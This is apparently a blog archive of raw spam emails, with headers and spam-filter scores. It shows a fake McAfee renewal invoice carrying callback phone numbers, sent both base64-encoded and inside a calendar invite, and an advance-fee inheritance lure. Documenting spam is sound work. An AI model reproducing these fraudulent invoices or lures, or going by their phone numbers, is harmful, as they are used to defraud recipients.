dGU6LSBXZWRuZXNkYXlcLCAxOSBOb3ZlbWJlciAyMDI1PGJyIC8+VHJhbnNhYw0KIHRpb24gaWQ6
LSBKSE5MNjE0NTRHTDg0ODM8YnIgLz5UZWNobmljYWwgU3VwcG9ydCBOdW1iZXI6IDEoODU5KSAg
MjMwLTUwMzY8Lw0KIHA+PHA+QWNjZXNzIGNvbmZpcm1lZCBtZW1iZXJzaGlwIHNlY3VyZWQuPC9w
PjxwPkhpXCw8L3A+PHA+V2UmcnNxdW9cO2QgbGlrZQ0KICB0byBub3RpZnkgeW91IG9mIHlvdXIg
UHJlbWl1bSBNZW1iZXJzaGlwIHJlbmV3YWwuIEEgY2hhcmdlIG9mICQzNzUuODggd2lsbA0KICBi
ZSBkZWJpdGVkIGZyb20geW91ciBhY2NvdW50IHNvb24uPC9wPjxwPlB1cmNoYXNlIFN1bW1hcnk8
L3A+PHA+SXRlbTogSGFjaw0KIGluZyBwcm90ZWN0aW9uPGJyIC8+VGVudXJlOiAxIFllYXI8YnIg
Lz5BbW91bnQ6ICQgMzc1Ljg4PGJyIC8+UmVnaXN0ZXJlZCBJRA0KIDogUjMySjFCRDU8YnIgLz5N
ZW1iZXJzaGlwIElEOiBmZDNjNGE1Zi0yODFlLTQxNjctYjFlYS0yNmExNzFmYmFkN2Q8L3A+PHA+
Rg0KIG9yIGFzc2lzdGFuY2VcLCBjYWxsICsxLSg4NTkpICAyMjItNjQ4My4gVGhpcyBpcyBhbiBh
dXRvbWF0ZWQgZW1haWwgYW5kIGNhbg0KIG5vdCBhY2NlcHQgcmVwbGllcy48L3A+PHA+VHJ1bHkg
QXBwcmVjaWF0aXZlXCxcLDxiciAvPk1jQWZlZTxiciAvPkFjY291bnRzIA0KIE1hbmFnZXI6IFdp
bGxpYW0gTXVycGh5PGJyIC8+Q29udGFjdCBIb3VyczogNiBBTSB0byA2IFBNPGJyIC8+Q2FsbCBm
b3IgQ3VzdA0KIG9tZXIgU3VwcG9ydCArMS0oODU5KSAgMjIyLTY0ODM8YnIgLz5BZGRyZXNzOiA5
OFRoIFBsYWNlIEJldGhlbCBDdCA2ODAxIFVuaQ0KIHRlZCBTdGF0ZXM8L3A+PHA+Q29weXJpZ2h0
ICZjb3B5XDsyMDI1IE1jQWZlZVwsIEFsbCByaWdodHMgcmVzZXJ2ZWQuPC9wPg0KTEFTVC1NT0RJ
RklFRDoyMDI1MTExOVQxMzI0MDZaDQpMT0NBVElPTjoNClNFUVVFTkNFOjANClNUQVRVUzpDT05G
SVJNRUQNClNVTU1BUlk6SGlcLCBUcmFuc2FjdGlvbiBpcyBjb25maXJtZWQgYW5kIHJlYWR5DQpU
UkFOU1A6T1BBUVVFDQpCRUdJTjpWQUxBUk0NCkFDVElPTjpESVNQTEFZDQpERVNDUklQVElPTjpU
aGlzIGlzIGFuIGV2ZW50IHJlbWluZGVyDQpUUklHR0VSOi1QMERUMEgxME0wUw0KRU5EOlZBTEFS
TQ0KRU5EOlZFVkVOVA0KRU5EOlZDQUxFTkRBUg0K
--00000000000015c89f0643f27f0d--
Envelope-to: dave@doctor.nl2k.ab.ca
Delivery-date: Thu, 20 Nov 2025 04:27:00 -0700
Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.98.2 (FreeBSD))
(envelope-from
id 1vM2ns-00000000OLK-3PMF
for dave@doctor.nl2k.ab.ca;
Thu, 20 Nov 2025 04:26:20 -0700
Resent-From: The Doctor
Resent-Date: Thu, 20 Nov 2025 04:26:20 -0700
Resent-Message-ID:
Resent-To: Dave Yadallee
Received: from mail-lf1-f47.google.com ([209.85.167.47]:52645)
by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256
(Exim 4.98.2 (FreeBSD))
(envelope-from
id 1vLxOe-000000006ij-3Lc5
for doctor@nk.ca;
Wed, 19 Nov 2025 22:40:12 -0700
Received: by mail-lf1-f47.google.com with SMTP id 2adb3069b0e04-5957753e0efso459169e87.1
for
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=gmail.com; s=20230601; t=1763617143; x=1764221943; darn=nk.ca;
h=to:subject:message-id:date:from:mime-version:from:to:cc:subject
:date:message-id:reply-to;
bh=YvBWbOfg5p1Y44hmgbwnTb+EXt0ggU8PpUMyLiB83Qo=;
b=khNmfp6au3d+VmxodcsSIbLc8/4xwUQf4x96HUcaEuT5/PhmHilC/72RPkiWSJxTNe
4PL86nMJ6p+G/ZqMWYoNUqU8C8KGqqOO9JJyNUICZe7UsVsxvh57WbLqdgCOgH78lnc9
WaWPIFjWD1AQCJ36BcrF+my5ydcV56PVJY7/XwVVN1F4ZzHPehMijMP3vCTI59txqZU+
3+zVBGTEE4UqtEeLfJKFYjxvUTGB08+L7fXVPRP2nZiCzw7moGQ3WBRd+Of3MAdbyNMs
dfxwfByYQvMLkcg8AvcgyWSydu+UEWN/Xtyyhnfgxu4riywfdzNYPypy9vMIsDdsCpjK
3w6g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=1e100.net; s=20230601; t=1763617143; x=1764221943;
h=to:subject:message-id:date:from:mime-version:x-gm-gg
:x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;
bh=YvBWbOfg5p1Y44hmgbwnTb+EXt0ggU8PpUMyLiB83Qo=;
b=NFPzzXNiE01Nw3s8OQthfrsFSQ3KOgfkxruCxCOZUR0Ze3gPbDVbfnBx1GZO1sKtYC
WBlRN2BBj5lhTAoYsbQ8RvtL1h6oWlucNHtg2y+tUuTSeyN8ki/VM6qaKmzP2lvDOvxw
tedVC6z2P2yfojltVM9Jr4c2JtutKUH58Lpoj09TmmcNJUfSJrHyQKWbG6fK/yVegL5Y
cIJJPLnX2rEc8aE+JyGZiUTV/Gzl6t2owMM/5V4E8dGpqxNEH/X6KUZB+0YDoMUrc1V7
qIqoB1WlrTQ6OQbfRlmTWr0iAfNVEH8Le0WgF26iRsem0uYVfxPauGQ/rjTzHvjbcxRU
Is3g==
X-Forwarded-Encrypted: i=1; AJvYcCWIrONbOSrcQqbG4MMxQppbWBa3VMIXsF1uE9M7rrs/9N2idFqZV2x9a8+i26kCa1edP6i8VFk=@nk.ca
X-Gm-Message-State: AOJu0YxBWEg/mX9jfLU+mDk2dabQUnXkBYnQ6APLl5QDqZ89XgcapVPi
2Kfa7ixB/VDeHHRPThIvBDMjG55a4Op+5zTqRdBq0jfZuF/DbCIZOLRnyNGDLa2GrJxsFoGR42P
8N/5m+sOk+PEXUpAZR4HqN1ABsot+lDk=
X-Gm-Gg: ASbGncu/elRvKpQLDWStCvKpjUWyPSeaQ5NEjZE6wtnhM4cyO3AMAHHg4fhlQT5qXOt
u7sgIf92JRKgsS79M4RciTNK28YhR/AtkWDe0B85twW3dY2l6ZCibY4ZZd8D0PN/IzwruU8N+PV
7JScgF4AnpOv/oGLPX0H5GIsFbY3TveLvx6y4KA2Jtj/uLtTQVHcBqyzrXh0wcH5YHNlJXDRP4k
a19MGw2cv/JOJKZis+8i24xzNFQrAOMMYRf00nZu2+iqlAcYMamR9WilQKHz7EOsogZZgCngAv2
uYaIZGD6TvarO0GKvoQqLvcEYUAOjUdL
X-Google-Smtp-Source: AGHT+IGAEZJYw6vJDpQPTxLY26mpxkxLj82iR6iftX/2owtkrcF3ZxaLE0yq36iWxLxxr02JP/ipX3aBvQYlNdqpOa0=
X-Received: by 2002:a05:6512:3b98:b0:594:2835:e73e with SMTP id
2adb3069b0e04-5969e30d863mr467677e87.37.1763617142512; Wed, 19 Nov 2025
21:39:02 -0800 (PST)
MIME-Version: 1.0
From: Kokou Agboyibo
Date: Thu, 20 Nov 2025 05:38:46 +0000
X-Gm-Features: AWmQ_bk_33O7jn_tqKYw8irc6-2nBnn6HCVBpImIn7iZA6ToeLYsspxXINx1Jhw
Message-ID:
Subject: Best regards
To: undisclosed-recipients:;
Content-Type: multipart/alternative; boundary="0000000000004c9f920644001dd3"
Bcc: doctor@nk.ca
X-Spam_score: 6.1
X-Spam_score_int: 61
X-Spam_bar: ++++++
X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
@@CONTACT_ADDRESS@@ for details.
Content preview: I sent you this letter days ago about the inheritance, Please
contact me for more details. Best regards, Barrister Kokou Agboyibo. (+228
99 72 79 24) I sent you this letter days ago about the inheritance, Please
contact me for more details.
Content analysis details: (6.1 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org
[209.85.167.47 listed in will-spam-for-food.eu.org]
[209.85.167.47 listed in will-spam-for-food.eu.org]
[209.85.167.47 listed in will-spam-for-food.eu.org]
[209.85.167.47 listed in will-spam-for-food.eu.org]
[209.85.167.47 listed in will-spam-for-food.eu.org]
[209.85.167.47 listed in will-spam-for-food.eu.org]
[209.85.167.47 listed in will-spam-for-food.eu.org]
[209.85.167.47 listed in will-spam-for-food.eu.org]
1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org
[209.85.167.47 listed in dnsbl.ahbl.org]
[209.85.167.47 listed in dnsbl.ahbl.org]
[209.85.167.47 listed in dnsbl.ahbl.org]
[209.85.167.47 listed in dnsbl.ahbl.org]
1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org
[209.85.167.47 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org
[209.85.167.47 listed in dnsbl.ahbl.org]
0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org
[209.85.167.47 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org
[209.85.167.47 listed in dnsbl.ahbl.org]
-0.0 SPF_PASS SPF: sender matches SPF record
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid
-0.1 DKIM_VALID_EF Message has a valid DKIM or DK signature from
envelope-from domain
-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
domain
1.5 GR_DOMAIN_UNDISC1 To contains undisclosed recipient (undisc)
-0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at http://www.dnswl.org/, no
trust
[209.85.167.47 listed in list.dnswl.org]
-0.2 RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2)
[209.85.167.47 listed in wl.mailspike.net]
0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
[kokou.esq(at)gmail.com]
0.0 HTML_MESSAGE BODY: HTML included in message
0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge
Subject: {SPAM?} Best regards
--0000000000004c9f920644001dd3
Content-Type: text/plain; charset="UTF-8"
I sent you this letter days ago about the inheritance, Please contact me
for more details.
Best regards,
Barrister Kokou Agboyibo.
(+228 99 72 79 24)
--0000000000004c9f920644001dd3
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
I sent you this =
letter days ago about the inheritance, Please contact me for more details.<=
/span>
gia,serif">Best regards,
r style=3D"font-family:georgia,serif">
rif">Barrister Kokou Agboyibo.
">(+228 99 72 79 24)
div>
--0000000000004c9f920644001dd3--
letter days ago about the inheritance, Please contact me for more details.<=
/span>
gia,serif">Best regards,
r style=3D"font-family:georgia,serif">
rif">Barrister Kokou Agboyibo.
">(+228 99 72 79 24)
div>
--0000000000004c9f920644001dd3--
Nigerian spam from Google Gmail
Posted by Dave Yadallee on
Return-path:
Envelope-to: dave@doctor.nl2k.ab.ca
Delivery-date: Thu, 20 Nov 2025 04:27:00 -0700
Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.98.2 (FreeBSD))
(envelope-from)
id 1vM2nw-00000000OLq-3Ag7
for dave@doctor.nl2k.ab.ca;
Thu, 20 Nov 2025 04:26:24 -0700
Resent-From: The Doctor
Resent-Date: Thu, 20 Nov 2025 04:26:24 -0700
Resent-Message-ID:
Resent-To: Dave Yadallee
Received: from mail-lf1-f46.google.com ([209.85.167.46]:52644)
by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256
(Exim 4.98.2 (FreeBSD))
(envelope-from)
id 1vLxOe-000000006ii-3ILD
for sales@nk.ca;
Wed, 19 Nov 2025 22:40:14 -0700
Received: by mail-lf1-f46.google.com with SMTP id 2adb3069b0e04-5957753e0efso459166e87.1
for; Wed, 19 Nov 2025 21:39:09 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=gmail.com; s=20230601; t=1763617143; x=1764221943; darn=nk.ca;
h=to:subject:message-id:date:from:mime-version:from:to:cc:subject
:date:message-id:reply-to;
bh=YvBWbOfg5p1Y44hmgbwnTb+EXt0ggU8PpUMyLiB83Qo=;
b=khNmfp6au3d+VmxodcsSIbLc8/4xwUQf4x96HUcaEuT5/PhmHilC/72RPkiWSJxTNe
4PL86nMJ6p+G/ZqMWYoNUqU8C8KGqqOO9JJyNUICZe7UsVsxvh57WbLqdgCOgH78lnc9
WaWPIFjWD1AQCJ36BcrF+my5ydcV56PVJY7/XwVVN1F4ZzHPehMijMP3vCTI59txqZU+
3+zVBGTEE4UqtEeLfJKFYjxvUTGB08+L7fXVPRP2nZiCzw7moGQ3WBRd+Of3MAdbyNMs
dfxwfByYQvMLkcg8AvcgyWSydu+UEWN/Xtyyhnfgxu4riywfdzNYPypy9vMIsDdsCpjK
3w6g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=1e100.net; s=20230601; t=1763617143; x=1764221943;
h=to:subject:message-id:date:from:mime-version:x-gm-gg
:x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;
bh=YvBWbOfg5p1Y44hmgbwnTb+EXt0ggU8PpUMyLiB83Qo=;
b=BL5xWbIuE/lzu91j87Azn8/VRk6zA2dh7lx7ZNtjsGMHwhxpjyJGWtblFcYT8TJJYU
dI7UZmDCSEipYCWyzmnbAZJNLCFSeESyGl859s/4ju7Vw37+6vJbtBzcS160tzgDD0AL
531RbSZ0iiPm+INgBfK1ymdXE0XhBXu8qz9dTcm7XAsksCUiKGbQJciIY1kLwN3M6RBb
67BvRdnUP2GqxEMxm1o3z+c0tha+tUON2/tv5Y3lcI66u+P1KQwtfPjsQIW0ytoFrv/8
fQZVLAU9m8Sogdm6DDSQlZ2zgItpc7tTZfZsj/zzlLx3WzQ7Qxe1IGF6nsGh3gjg+50e
tQfg==
X-Forwarded-Encrypted: i=1; AJvYcCXH+7SzcnK7lHNDze7muTsdhihDPHg2zqRa52lxXHBkYo+ZoARL6OSuY8rbHVsWGfD64fAAvA==@nk.ca
X-Gm-Message-State: AOJu0Yw/53qReKVf+1COOhcPpHM/lEfOYS2OTavyHEGJfH8W4jb8eSvb
xX3JxnrY+1ugO6LIfqW4zjmGbFb/wy9cqG/AfNxX9+Q06q293EzqhFeqzJrn2qgRvFbKcjf1ChQ
IjC51qX3ldII2tYZSrGB/Vv5i59XoHtU=
X-Gm-Gg: ASbGncsewUx/0DyFScUzcFvujEuXWlJ/u2DsYI2dMB5ButTMRdS7P14Che+X4KLuIKu
tDOzKMVrrsFT2NF1l/xb3/B5iKmFey2CaRlCKFcdt9gJvnpoMSqCP3f8CrcN0xULRngvimmkxrr
ZDahJWMx96tGC6JuaXeGiMH5mx0luUFWphAue0Ie1I7zPA12ht/5NSWNy5DKThHPN7F9AT5q6CK
dTyMT/7qLoxO9U8es6Z1/IM+pN4lq0Hb7b8Vceju1iQEzdtQ6VJaKCTk+KtWRifHv7f7wywSTIX
FSNpq150s0JCEKmmNFWyjz/6AjDdn09K
X-Google-Smtp-Source: AGHT+IGAEZJYw6vJDpQPTxLY26mpxkxLj82iR6iftX/2owtkrcF3ZxaLE0yq36iWxLxxr02JP/ipX3aBvQYlNdqpOa0=
X-Received: by 2002:a05:6512:3b98:b0:594:2835:e73e with SMTP id
2adb3069b0e04-5969e30d863mr467677e87.37.1763617142512; Wed, 19 Nov 2025
21:39:02 -0800 (PST)
MIME-Version: 1.0
From: Kokou Agboyibo
Date: Thu, 20 Nov 2025 05:38:46 +0000
X-Gm-Features: AWmQ_bk_33O7jn_tqKYw8irc6-2nBnn6HCVBpImIn7iZA6ToeLYsspxXINx1Jhw
Message-ID:
Subject: Best regards
To: undisclosed-recipients:;
Content-Type: multipart/alternative; boundary="0000000000004c9f920644001dd3"
Bcc: sales@nk.ca
X-Spam_score: 6.1
X-Spam_score_int: 61
X-Spam_bar: ++++++
X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
@@CONTACT_ADDRESS@@ for details.
Content preview: I sent you this letter days ago about the inheritance, Please
contact me for more details. Best regards, Barrister Kokou Agboyibo. (+228
99 72 79 24) I sent you this letter days ago about the inheritance, Please
contact me for more details.
Content analysis details: (6.1 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org
[209.85.167.46 listed in will-spam-for-food.eu.org]
[209.85.167.46 listed in will-spam-for-food.eu.org]
[209.85.167.46 listed in will-spam-for-food.eu.org]
[209.85.167.46 listed in will-spam-for-food.eu.org]
[209.85.167.46 listed in will-spam-for-food.eu.org]
[209.85.167.46 listed in will-spam-for-food.eu.org]
[209.85.167.46 listed in will-spam-for-food.eu.org]
[209.85.167.46 listed in will-spam-for-food.eu.org]
1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org
[209.85.167.46 listed in dnsbl.ahbl.org]
[209.85.167.46 listed in dnsbl.ahbl.org]
[209.85.167.46 listed in dnsbl.ahbl.org]
[209.85.167.46 listed in dnsbl.ahbl.org]
0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org
[209.85.167.46 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org
[209.85.167.46 listed in dnsbl.ahbl.org]
1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org
[209.85.167.46 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org
[209.85.167.46 listed in dnsbl.ahbl.org]
-0.0 SPF_PASS SPF: sender matches SPF record
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid
-0.1 DKIM_VALID_EF Message has a valid DKIM or DK signature from
envelope-from domain
-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
domain
1.5 GR_DOMAIN_UNDISC1 To contains undisclosed recipient (undisc)
-0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at http://www.dnswl.org/, no
trust
[209.85.167.46 listed in list.dnswl.org]
-0.2 RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2)
[209.85.167.46 listed in wl.mailspike.net]
0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
[kokou.esq(at)gmail.com]
0.0 HTML_MESSAGE BODY: HTML included in message
0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge
Subject: {SPAM?} Best regards
--0000000000004c9f920644001dd3
Content-Type: text/plain; charset="UTF-8"
I sent you this letter days ago about the inheritance, Please contact me
for more details.
Best regards,
Barrister Kokou Agboyibo.
(+228 99 72 79 24)
--0000000000004c9f920644001dd3
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
rder=3D"0" cellpadding=3D"0" cellspacing=3D"0" role=3D"presentation" align=
=3D"center" style=3D"width:100%;" class=3D"body-container">
tyle=3D"" class=3D"" align=3D"left">
den=3D"true"> =
n" align=3D"center" style=3D"width:100%;" class=3D"">
=3D"border: solid 1px #dadce0; border-radius: 8px; direction: rtl; font-siz=
e: 0; padding: 24px 32px; text-align: left; vertical-align: top;" class=3D"=
main-container-inner">
style=3D"font-size: 13px; text-align: left; direction: ltr; display: inline=
-block; vertical-align: top; width: 100%;overflow: hidden; word-wrap: break=
-word;">
sentation" width=3D"100%" class=3D"main-column-table-ltr" style=3D"padding-=
right: 32px; padding-left: 0;;table-layout: fixed;">
"main-column-td" style=3D"padding:0; vertical-align:top;">
0" cellpadding=3D"0" cellspacing=3D"0" role=3D"presentation" width=3D"100%"=
style=3D"table-layout: fixed;">
text-align: left; word-break: break-word;;padding-bottom:24px;">
=3D"font-family: Roboto, sans-serif;font-style: normal; font-weight: 400; f=
ont-size: 14px; line-height: 20px; letter-spacing: 0.2px;color: #3c4043; te=
xt-decoration: none;" class=3D"primary-text" role=3D"presentation">
>Transaction date:- Wednesday, 19 November 2025
Transaction id:- JHNL614=
54GL8483
Technical Support Number: 1(859) 230-5036
=3D"Transaction date:- Wednesday, 19 November 2025Transaction id:- JHNL6145=
4GL8483Technical Support Number: 1(859) 230-5036Access confirmed membershi=
p secured.Hi,We’d like to notify you of your Premium Membership r=
enewal. A charge of $375.88 will be debited from your account soon.Purchase=
SummaryItem: Hacking protectionTenure: 1 YearAmount: $ 375.88Registered ID=
: R32J1BD5Membership ID: fd3c4a5f-281e-4167-b1ea-26a171fbad7dFor assistance=
, call +1-(859) 222-6483. This is an automated email and cannot accept rep=
lies.Truly Appreciative,,McAfeeAccounts Manager: William MurphyContact Hour=
s: 6 AM to 6 PMCall for Customer Support +1-(859) 222-6483Address: 98Th Pl=
ace Bethel Ct 6801 United StatesCopyright ©2025 McAfee, All rights=
reserved."/>
t-align: left; word-break: break-word;;padding-bottom:24px;">
font-family: Roboto, sans-serif;font-style: normal; font-weight: 400; font-=
size: 14px; line-height: 20px; letter-spacing: 0.2px;color: #3c4043; text-d=
ecoration: none;" class=3D"primary-text" role=3D"presentation">
idden=3D"true">
ext-align: left; word-break: break-word;;padding-bottom:24px;">
=3D"font-family: Roboto, sans-serif;font-style: normal; font-weight: 400; f=
ont-size: 14px; line-height: 20px; letter-spacing: 0.2px;color: #3c4043; te=
xt-decoration: none;" class=3D"primary-text" role=3D"presentation">
order=3D"0" cellpadding=3D"0" cellspacing=3D"0" role=3D"presentation" style=
=3D"padding-bottom: 4px;">
size: 14px;color: #3c4043; text-decoration: none;font-weight: 700;-webkit-f=
ont-smoothing: antialiased;margin: 0; padding: 0;">Organizer
=3D"primary-text underline-on-hover" style=3D"display: inline-block;;color:=
#3c4043; text-decoration: none;" href=3D"mailto:patrick.spe970@sskhamiton.=
cfd">Patrick Spears
pe=3D"http://schema.org/Person">
Spears"/>
/>
derline-on-hover" style=3D"display: inline-block;;color: #70757a; text-deco=
ration: none;" href=3D"mailto:patrick.spe970@sskhamiton.cfd">patrick.spe970=
@sskhamiton.cfd
ding: 0; text-align: left; word-break: break-word;;padding-bottom:24px;">
iv style=3D"font-family: Roboto, sans-serif;font-style: normal; font-weight=
: 400; font-size: 14px; line-height: 20px; letter-spacing: 0.2px;color: #3c=
4043; text-decoration: none;" class=3D"primary-text" role=3D"presentation">=
n" style=3D"padding-bottom: 4px;">
=3D"font-size: 14px;color: #3c4043; text-decoration: none;font-weight: 700;=
-webkit-font-smoothing: antialiased;margin: 0; padding: 0;">Guests
>
>
ak: break-word;;padding-bottom:0px;">
oration: none;;font-family: Roboto, sans-serif;font-size: 14px; line-height=
: 20px; mso-line-height-rule: exactly; text-align: left;" class=3D"primary-=
text">
sed;">Reply
ext-decoration: none;"> for
style=3D"display: inline-block;;color: #70757a; text-decoration: none;" hre=
f=3D"mailto:doctor@nl2k.ab.ca">doctor@nl2k.ab.ca
>
ak: break-word;;padding-bottom:16px;">
ns-serif;font-size: 14px; line-height: 20px; mso-line-height-rule: exactly;=
text-align: left;">
role=3D"presentation" style=3D"border-collapse: separate;">
=3D"padding-top: 8px; padding-left: 0; padding-right: 12px;">
entation" style=3D"border: solid 1px #dadce0; border-radius: 16px; border-c=
ollapse: separate;font-family: 'Google Sans', Roboto, sans-serif;;d=
isplay: inline-block;;margin-right: 12px; margin-left: 0;">
"center" vertical-align=3D"middle" role=3D"presentation">
potentialaction" itemscope itemtype=3D"http://schema.org/RsvpAction">
itemprop=3D"attendance" content=3D"http://schema.org/RsvpAttendance/Yes"/><=
span itemprop=3D"handler" itemscope itemtype=3D"http://schema.org/HttpActio=
nHandler">
thod/GET"/>
le.com/calendar/event?action=3DRESPOND&eid=3DMDZLNFdvSDM2aVEyOFNIQVNXYm=
l0MnpubXggZG9jdG9yQG5sMmsuYWIuY2E&rst=3D1&tok=3DMjkjcGF0cmljay5zcGU=
5NzBAc3NraGFtaXRvbi5jZmQxZmEyNzk2MzQ5YjNmZWRmY2E5YzE2MTkxMWNiMTUyNjlkNTEyOD=
Nk&ctz=3DAsia%2FHong_Kong&hl=3Den&es=3D0" style=3D"font-weight:=
400;font-family: 'Google Sans', Roboto, sans-serif;color: #5f6368;=
font-size: 14px; line-height: 120%; mso-line-height-rule: exactly; margin:=
0; text-decoration: none; text-transform: none;" class=3D"grey-button-text=
" itemprop=3D"url" target=3D"_blank">
cellspacing=3D"0" role=3D"presentation">
esentation" valign=3D"middle" style=3D"padding: 6px 0; padding-left: 16px; =
padding-right: 12px; white-space: nowrap;">
ss=3D"grey-button-text" style=3D"font-weight: 400;font-family: 'Google =
Sans', Roboto, sans-serif;color: #5f6368; font-size: 14px; line-height:=
120%; mso-line-height-rule: exactly; margin: 0; text-decoration: none; tex=
t-transform: none;">Yes
e>
le" role=3D"presentation" style=3D"border-left: solid 1px #dadce0; border-r=
ight: solid 1px #dadce0;">
type=3D"http://schema.org/RsvpAction">
=3D"http://schema.org/RsvpAttendance/No"/>
ope itemtype=3D"http://schema.org/HttpActionHandler">
od" href=3D"http://schema.org/HttpRequestMethod/GET"/>
#5f6367;">
ESPOND&eid=3DMDZLNFdvSDM2aVEyOFNIQVNXYml0MnpubXggZG9jdG9yQG5sMmsuYWIuY2=
E&rst=3D2&tok=3DMjkjcGF0cmljay5zcGU5NzBAc3NraGFtaXRvbi5jZmQxZmEyNzk=
2MzQ5YjNmZWRmY2E5YzE2MTkxMWNiMTUyNjlkNTEyODNk&ctz=3DAsia%2FHong_Kong&am=
p;hl=3Den&es=3D0" style=3D"font-weight: 400;font-family: 'Google Sa=
ns', Roboto, sans-serif;color: #5f6368; font-size: 14px; line-height: 1=
20%; mso-line-height-rule: exactly; margin: 0; text-decoration: none; text-=
transform: none;" class=3D"grey-button-text" itemprop=3D"url" target=3D"_bl=
ank">
tation">
yle=3D"padding: 6px 12px; white-space: nowrap;">
n class=3D"grey-button-text" style=3D"font-weight: 400;font-family: 'Go=
ogle Sans', Roboto, sans-serif;color: #5f6368; font-size: 14px; line-he=
ight: 120%; mso-line-height-rule: exactly; margin: 0; text-decoration: none=
; text-transform: none;">No
table>
middle" role=3D"presentation">
itemtype=3D"http://schema.org/RsvpAction">
tent=3D"http://schema.org/RsvpAttendance/Maybe"/>
itemscope itemtype=3D"http://schema.org/HttpActionHandler">
=3D"method" href=3D"http://schema.org/HttpRequestMethod/GET"/>
=3D"color: #5f6367;">
action=3DRESPOND&eid=3DMDZLNFdvSDM2aVEyOFNIQVNXYml0MnpubXggZG9jdG9yQG5s=
MmsuYWIuY2E&rst=3D3&tok=3DMjkjcGF0cmljay5zcGU5NzBAc3NraGFtaXRvbi5jZ=
mQxZmEyNzk2MzQ5YjNmZWRmY2E5YzE2MTkxMWNiMTUyNjlkNTEyODNk&ctz=3DAsia%2FHo=
ng_Kong&hl=3Den&es=3D0" style=3D"font-weight: 400;font-family: '=
;Google Sans', Roboto, sans-serif;color: #5f6368; font-size: 14px; line=
-height: 120%; mso-line-height-rule: exactly; margin: 0; text-decoration: n=
one; text-transform: none;" class=3D"grey-button-text" itemprop=3D"url" tar=
get=3D"_blank">
=3D"presentation">
middle" style=3D"padding: 6px 0; padding-left: 12px; padding-right: 16px; w=
hite-space: nowrap;">
" style=3D"font-weight: 400;font-family: 'Google Sans', Roboto, san=
s-serif;color: #5f6368; font-size: 14px; line-height: 120%; mso-line-height=
-rule: exactly; margin: 0; text-decoration: none; text-transform: none;">Ma=
ybe
oogle.com/calendar/event?action=3DVIEW&eid=3DMDZLNFdvSDM2aVEyOFNIQVNXYm=
l0MnpubXggZG9jdG9yQG5sMmsuYWIuY2E&tok=3DMjkjcGF0cmljay5zcGU5NzBAc3NraGF=
taXRvbi5jZmQxZmEyNzk2MzQ5YjNmZWRmY2E5YzE2MTkxMWNiMTUyNjlkNTEyODNk&ctz=
=3DAsia%2FHong_Kong&hl=3Den&es=3D0" style=3D"display: inline-block;=
;font-weight: 400;font-family: 'Google Sans', Roboto, sans-serif;co=
lor: #5f6368; font-size: 14px; line-height: 120%; mso-line-height-rule: exa=
ctly; margin: 0; text-decoration: none; text-transform: none;" class=3D"gre=
y-button-text" target=3D"_blank">
spacing=3D"0" role=3D"presentation" style=3D"border: solid 1px #dadce0; bor=
der-radius: 16px; border-collapse: separate;font-family: 'Google Sans&#=
39;, Roboto, sans-serif;">
" role=3D"presentation" style=3D"padding: 6px 0; padding-left: 16px; paddin=
g-right: 12px; white-space: nowrap;;color: #5f6367;">
xt" style=3D"font-weight: 400;font-family: 'Google Sans', Roboto, s=
ans-serif;color: #5f6368; font-size: 14px; line-height: 120%; mso-line-heig=
ht-rule: exactly; margin: 0; text-decoration: none; text-transform: none;">=
More options
Envelope-to: dave@doctor.nl2k.ab.ca
